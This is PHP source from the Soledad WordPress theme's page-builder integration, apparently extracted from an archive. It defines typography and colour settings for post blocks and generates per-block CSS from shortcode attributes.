					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
					'param_name'       => 'use_pmeta_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pmeta_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
				),
				// Post excrept
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pexcrept_settings',
					'heading'          => esc_html__( 'Posts Excerpt', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Excerpt Color', 'soledad' ),
					'param_name'       => 'pexcerpt_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pexcerpt_fsize',
					'heading'          => __( 'Font Size for Post Excerpt', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Excerpt', 'soledad' ),
					'param_name'       => 'use_pexcerpt_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pexcerpt_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pexcerpt_typo', 'value' => 'yes' ),
				),

				// Category
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pcat_settings',
					'heading'          => esc_html__( 'Categories', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Color', 'soledad' ),
					'param_name'       => 'pcat_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Hover Color', 'soledad' ),
					'param_name'       => 'pcat_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pcat_fsize',
					'heading'          => __( 'Font Size for Post Categories', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pcat_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'style', 'value' => 'style-8' ),
				),
			);
		}

		public static function params_popular_posts_typo_color() {
			$group_color = 'Typo & Color';

			return array(
				// Post title
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'Posts Title', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'ptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'ptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'ptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
					'param_name'       => 'use_ptitle_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'ptitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
				),

				// Post meta
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pmeta_settings',
					'heading'          => esc_html__( 'Posts Meta', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
					'param_name'       => 'pmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
					'param_name'       => 'use_pmeta_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pmeta_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
				),

				// Dot style
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pmeta_settings',
					'heading'          => esc_html__( 'Dots Slider', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dot background color', 'soledad' ),
					'param_name'       => '_dot_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dot border and background active color', 'soledad' ),
					'param_name'       => 'dot_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
			);
		}

		/**
		 * Get image sizes.
		 *
		 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
		 */
		public static function get_list_image_sizes( $default = false ) {
			$wp_image_sizes = self::get_all_image_sizes();

			$image_sizes = array();

			if ( $default ) {
				$image_sizes[ esc_html__( 'Default', 'soledad' ) ] = '';
			}

			foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
				$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
				if ( is_array( $size_attributes ) ) {
					$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
				}

				$image_sizes[ $control_title ] = $size_key;
			}

			$image_sizes[ esc_html__( 'Full', 'soledad' ) ] = 'full';

			return $image_sizes;
		}

		public static function get_all_image_sizes() {
			global $_wp_additional_image_sizes;

			$default_image_sizes = array( 'thumbnail', 'medium', 'medium_large', 'large' );

			$image_sizes = array();

			foreach ( $default_image_sizes as $size ) {
				$image_sizes[ $size ] = [
					'width'  => (int) get_option( $size . '_size_w' ),
					'height' => (int) get_option( $size . '_size_h' ),
					'crop'   => (bool) get_option( $size . '_crop' ),
				];
			}

			if ( $_wp_additional_image_sizes ) {
				$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
			}

			return $image_sizes;
		}
	}
endif;
PK     0w\Y    $  js_composer/inc/custom-css-oldsc.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Custom_CSS_Shortcode_Old' ) ):
	class Penci_Custom_CSS_Shortcode_Old {
		public static function latest_posts( $block_id, $atts ) {

			$block_id   = '#' . $block_id;
			$css_custom = Penci_Vc_Helper::get_heading_block_css( $block_id, $atts );
			$css_custom .= Penci_Vc_Helper::get_heading_block_filter_css( $block_id, $atts );

			if ( isset( $atts['penci_featimg_size'] ) && $atts['penci_featimg_size'] ) {
				if ( 'horizontal' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: 66.6667% !important;}';
				} elseif ( 'square' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 100% !important;}';
				} elseif ( 'vertical' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 135.4% !important;}';
				} elseif ( 'custom' == $atts['penci_featimg_size'] ) {
					if ( isset( $atts['penci_featimg_ratio'] ) && ! is_array( $atts['penci_featimg_ratio'] ) ) {
						$ratio      = $atts['penci_featimg_ratio'] ? $atts['penci_featimg_ratio'] : '';
						$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: ' . esc_attr( $ratio ) . '% !important; }';
					}
				}
			}

			// Title
			if ( $atts['pborder_color'] ) {
				$css_custom .= $block_id . ' .grid-mixed,';
				$css_custom .= $block_id . ' .penci-grid .list-post.list-boxed-post,';
				$css_custom .= $block_id . ' .penci-grid li.list-boxed-post-2 .content-boxed-2,';
				$css_custom .= $block_id . ' .penci-grid li.list-post{ border-color: ' . esc_attr( $atts['pborder_color'] ) . ' !important;}';
			}

			$ptitle_typo = "{$block_id} .entry-title,{$block_id} .entry-title a,";
			$ptitle_typo .= "{$block_id} .header-standard .entry-title,{$block_id} .header-standard .entry-title a,";
			$ptitle_typo .= "{$block_id} .overlay-header-box .entry-title,{$block_id} .overlay-header-box .entry-title a,";
			$ptitle_typo .= "{$block_id} .header-standard h2, {$block_id} .header-standard h2 a,";
			$ptitle_typo .= "{$block_id} .penci-grid li .item h2 a, {$block_id} .penci-grid li .item h2 a,";
			$ptitle_typo .= "{$block_id} .penci-masonry .item-masonry h2 a,{$block_id} .penci-masonry .item-masonry h2 a";

			if ( $atts['ptitle_color'] ) {
				$css_custom .= $ptitle_typo . '{ color: ' . esc_attr( $atts['ptitle_color'] ) . ' !important;}';
			}
			if ( $atts['ptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .header-standard h2 a:hover,' . $block_id . ' .entry-title a:hover,';
				$css_custom .= $block_id . '.penci-grid li .item h2 a:hover,' . $block_id . ' .penci-masonry .item-masonry h2 a:hover,';
				$css_custom .= $block_id . ' .overlay-header-box .overlay-title a:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . ' !important;}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['ptitle_fsize'],
				'font_style' => $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
				'template'   => $ptitle_typo . '{ %s }',
			) );

			// Post meta
			if ( $atts['pmeta_color'] ) {
				$css_custom .= $block_id . ' .header-standard .author-post span,';
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-box-meta span,';
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-box-meta a,';
				$css_custom .= $block_id . ' .overlay-author span,';
				$css_custom .= $block_id . ' .overlay-author a,';
				$css_custom .= $block_id . ' .overlay-post-box-meta .overlay-share span,';
				$css_custom .= $block_id . ' .overlay-post-box-meta .overlay-share a,';
				$css_custom .= $block_id . ' .overlay-post-box-meta,';
				$css_custom .= $block_id . ' .grid-post-box-meta span{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			if ( $atts['pmeta_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-box-meta a:hover,';
				$css_custom .= $block_id . ' .overlay-author a:hover,';
				$css_custom .= $block_id . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $atts['pmeta_hcolor'] ) . ';}';
			}

			if ( $atts['pauthor_color'] ) {
				$css_custom .= $block_id . ' .penci-meta-author a,';
				$css_custom .= $block_id . ' .penci-meta-author span,';
				$css_custom .= $block_id . ' .grid-post-box-meta span a,';
				$css_custom .= $block_id . ' .header-standard .author-post span a{ color: ' . esc_attr( $atts['pauthor_color'] ) . ' !important;}';
			}
			if ( $atts['pmeta_border_color'] ) {
				$css_custom .= $block_id . ' .header-standard:after,';
				$css_custom .= $block_id . ' .grid-header-box:after,';
				$css_custom .= $block_id . ' .penci-overlay-over .overlay-header-box:after,';
				$css_custom .= $block_id . ' .penci-post-box-meta{ background-color: ' . esc_attr( $atts['pmeta_border_color'] ) . ';}';
			}

			$pmeta_typo = $block_id . ' .header-standard .author-post,';
			$pmeta_typo .= $block_id . ' .penci-post-box-meta .penci-box-meta span,';
			$pmeta_typo .= $block_id . ' .penci-post-box-meta .penci-box-meta a,';
			$pmeta_typo .= $block_id . ' .overlay-author a,';
			$pmeta_typo .= $block_id . ' .overlay-header-box .overlay-author,';
			$pmeta_typo .= $block_id . ' .grid-post-box-meta';

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pmeta_fsize'],
				'font_style' => $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
				'template'   => $pmeta_typo . '{ %s }',
			) );

			// Post excrept
			$markup_excrept = "{$block_id} .post-entry.standard-post-entry, {$block_id} .post-entry.standard-post-entry p,";
			$markup_excrept .= "{$block_id} .penci-grid .entry-content,{$block_id} .penci-grid .entry-content p,";
			$markup_excrept .= "{$block_id} .entry-content,{$block_id} .entry-content p";
			if ( $atts['pexcrept_color'] ) {
				$css_custom .= $markup_excrept . '{ color: ' . esc_attr( $atts['pexcrept_color'] ) . '}';
			}
			if ( $atts['use_pexcrept_typo'] ) {
				$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
					'font_size'  => $atts['pexcrept_fsize'],
					'font_style' => $atts['pexcrept_typo'],
					'template'   => $markup_excrept . '{ %s }',
				) );
			}
			// Cat
			if ( $atts['pcat_color'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name{ color: ' . esc_attr( $atts['pcat_color'] ) . '}';
				$css_custom .= $block_id . ' .typography-style .main-typography a.penci-cat-name:after,';
				$css_custom .= $block_id . ' .penci-grid .cat a.penci-cat-name:after,';
				$css_custom .= $block_id . ' .penci-masonry .cat a.penci-cat-name:after,';
				$css_custom .= $block_id . ' .overlay-header-box .cat > a.penci-cat-name:after{ border-color: ' . esc_attr( $atts['pcat_color'] ) . '}';
			}
			if ( $atts['pcat_hcolor'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name:hover{ color: ' . esc_attr( $atts['pcat_hcolor'] ) . '}';
			}
			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pcat_fsize'],
				'font_style' => $atts['use_pcat_typo'] ? $atts['pcat_typo'] : '',
				'template'   => $block_id . ' .cat > a.penci-cat-name{ %s }',
			) );

			// Read more btn
			if ( $atts['prmore_color'] ) {
				$css_custom .= $block_id . ' .penci-more-link a.more-link{ color: ' . esc_attr( $atts['prmore_color'] ) . '}';
				$css_custom .= $block_id . ' .penci-more-link a.more-link:before,';
				$css_custom .= $block_id . ' .penci-more-link a.more-link:after{ border-top-color: ' . esc_attr( $atts['prmore_color'] ) . '}';
			}
			if ( $atts['pcat_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-more-link a.more-link:hover{ color: ' . esc_attr( $atts['pcat_hcolor'] ) . '}';
			}
			if ( $atts['pag_icon_fsize'] ) {
				$css_custom .= $block_id . ' .penci-more-link a.more-link:hover{ font-size: ' . esc_attr( $atts['pag_icon_fsize'] ) . '}';
			}
			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['prmore_fsize'],
				'font_style' => $atts['use_prmore_typo'] ? $atts['prmore_typo'] : '',
				'template'   => $block_id . ' .penci-more-link a.more-link{ %s }',
			) );

			// Share
			if ( $atts['pshare_color'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-post-share-box a{ color: ' . esc_attr( $atts['pshare_color'] ) . '}';
			}
			if ( $atts['pshare_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-post-share-box a:hover{ color: ' . esc_attr( $atts['pshare_hcolor'] ) . '}';
			}
			if ( $atts['pshare_border_color'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta.penci-post-box-grid:before{ background-color: ' . esc_attr( $atts['pshare_border_color'] ) . '}';
				$css_custom .= $block_id . ' .penci-post-box-meta{ border-color: ' . esc_attr( $atts['pshare_border_color'] ) . '}';
			}

			// Pagination
			if ( $atts['pagination_icon'] ) {
				$css_custom .= $block_id . ' .penci-pagination a.penci-ajax-more-button i,' . $block_id . ' .penci-pagination .disable-url i{ font-size: ' . esc_attr( $atts['pagination_icon'] ) . '}';
			}
			if ( $atts['pagination_size'] ) {
				$css_custom .= $block_id . ' .penci-pagination ul.page-numbers li a i,';
				$css_custom .= $block_id . ' .penci-pagination ul.page-numbers li span,';
				$css_custom .= $block_id . ' .penci-pagination ul.page-numbers li a,';
				$css_custom .= $block_id . '  .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ font-size: ' . esc_attr( $atts['pagination_size'] ) . '}';
			}

			$markup_pagination_color = "{$block_id} .penci-pagination ul.page-numbers li span,";
			$markup_pagination_color .= "{$block_id} .penci-pagination ul.page-numbers li a,";
			$markup_pagination_color .= "{$block_id} .penci-pagination.penci-ajax-more a.penci-ajax-more-button";
			if ( $atts['pagination_color'] ) {
				$css_custom .= $markup_pagination_color . '{ color: ' . esc_attr( $atts['pagination_color'] ) . ' !important; }';
			}
			if ( $atts['pagination_bordercolor'] ) {
				$css_custom .= $markup_pagination_color . '{ border-color: ' . esc_attr( $atts['pagination_bordercolor'] ) . ' !important; }';
			}
			if ( $atts['pagination_bgcolor'] ) {
				$css_custom .= $markup_pagination_color . '{ background-color: ' . esc_attr( $atts['pagination_bgcolor'] ) . ' !important; }';
			}

			$markup_pagination_hcolor = "{$block_id} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover,";
			$markup_pagination_hcolor .= "{$block_id} .penci-pagination ul.page-numbers li a:hover,";
			$markup_pagination_hcolor .= "{$block_id} .penci-pagination ul.page-numbers li span.current";
			if ( $atts['pagination_hcolor'] ) {
				$css_custom .= $markup_pagination_hcolor . '{ color: ' . esc_attr( $atts['pagination_hcolor'] ) . ' !important; }';
			}
			if ( $atts['pagination_hbordercolor'] ) {
				$css_custom .= $markup_pagination_hcolor . '{ border-color: ' . esc_attr( $atts['pagination_hbordercolor'] ) . ' !important; }';
			}
			if ( $atts['pagination_hbgcolor'] ) {
				$css_custom .= $markup_pagination_hcolor . '{ background-color: ' . esc_attr( $atts['pagination_hbgcolor'] ) . ' !important; }';
			}

			// Big
			$style_big_post = array(
				'mixed',
				'mixed-4',
				'mixed-2',
				'standard-grid',
				'standard-grid-2',
				'standard-list',
				'standard-boxed-1',
				'classic-grid',
				'classic-grid-2',
				'classic-list',
				'classic-boxed-1',
				'overlay-grid',
				'overlay-grid-2',
				'overlay-list',
				'overlay-boxed-1'
			);

			if ( 'mixed-2' == $atts['style'] || 'overlay-grid' == $atts['style'] || 'overlay-grid-2' == $atts['style'] || 'overlay-list' == $atts['style'] || 'overlay-boxed' == $atts['style'] ) {
				if ( $atts['bptitle_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .penci-entry-title a{ color: ' . esc_attr( $atts['bptitle_color'] ) . ' !important; }';
				}
				if ( $atts['bptitle_hcolor'] ) {
					$css_custom .= $block_id . ' .grid-overlay .penci-entry-title a:hover{ color: ' . esc_attr( $atts['bptitle_hcolor'] ) . '!important;}';
				}

				if ( $atts['bpcat_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .cat > a.penci-cat-name{ color: ' . esc_attr( $atts['bpcat_color'] ) . '!important;}';
					$css_custom .= $block_id . ' .grid-overlay .overlay-header-box .cat > a.penci-cat-name:after{ border-color: ' . esc_attr( $atts['bpcat_color'] ) . '!important;}';
				}
				if ( $atts['bpcat_hcolor'] ) {
					$css_custom .= $block_id . ' .grid-overlay .cat > a.penci-cat-name:hover{ color: ' . esc_attr( $atts['bpcat_hcolor'] ) . '!important;}';
				}

				if ( $atts['bpauthor_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .overlay-author span,';
					$css_custom .= $block_id . ' .grid-overlay .overlay-author a{ color: ' . esc_attr( $atts['bpauthor_color'] ) . '!important;}';
				}
				if ( $atts['bpmeta_border_color'] ) {
					$css_custom .= $block_id . ' .grid-overlay .penci-overlay-over .overlay-header-box:after{ background-color: ' . esc_attr( $atts['bpmeta_border_color'] ) . '!important;}';
				}
			}

			if ( in_array( $atts['style'], $style_big_post ) ) {

				if ( $atts['bptitle_fsize'] ) {
					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-2 .item.overlay-layout .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-list .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor .entry-title a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .entry-title a{ font-size: ' . esc_attr( $atts['bptitle_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}
				if ( $atts['bpcat_fsize'] ) {

					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-2 .item.overlay-layout .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid-2 .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-list .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-boxed-1 .grid-overlay .cat > a.penci-cat-name,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor .cat > a.penci-cat-name{ font-size: ' . esc_attr( $atts['bpcat_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}

				if ( $atts['bpmeta_fsize'] ) {
					$pmeta_typo_bpost = $block_id . '%1$s .header-standard .author-post,';
					$pmeta_typo_bpost .= $block_id . '%1$s .penci-post-box-meta .penci-box-meta span,';
					$pmeta_typo_bpost .= $block_id . '%1$s .penci-post-box-meta .penci-box-meta a,';
					$pmeta_typo_bpost .= $block_id . '%1$s .overlay-author a,';
					$pmeta_typo_bpost .= $block_id . '%1$s .overlay-header-box .overlay-author,';
					$pmeta_typo_bpost .= $block_id . '%1$s .grid-post-box-meta,';

					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed .grid-mixed' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed-2 .item.overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid-2 article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-list article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-boxed-1 article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid-2 article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-list article.format-standard' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid .overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid-2 .overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-list .overlay-layout' );
					$css_custom .= sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-boxed-1 .overlay-layout' );
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor .grid-post-box-meta, .penci-custom-x{ font-size: ' . esc_attr( $atts['bpmeta_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}


				if ( $atts['bsocialshare_size'] ) {
					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-2 .item.overlay-layout .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .penci-post-box-meta .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-grid-2 .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-list .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-overlay-boxed-1 .grid-overlay .penci-post-share-box a,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .grid-featured .penci-post-share-box a';
					$css_custom .= '{ font-size: ' . esc_attr( $atts['bpcat_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}
			}

			if ( in_array( $atts['style'], array(
				'mixed',
				'mixed-4',
				'standard-grid',
				'standard-grid-2',
				'standard-list',
				'standard-boxed-1',
				'classic-grid',
				'classic-grid-2',
				'classic-list'
			) ) ) {
				if ( $atts['bpexcerpt_size'] ) {
					$css_custom .= '@media screen and (min-width: 768px){';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed .grid-mixed .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-grid-2 article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-list article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-standard-boxed-1 article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .entry-content,';
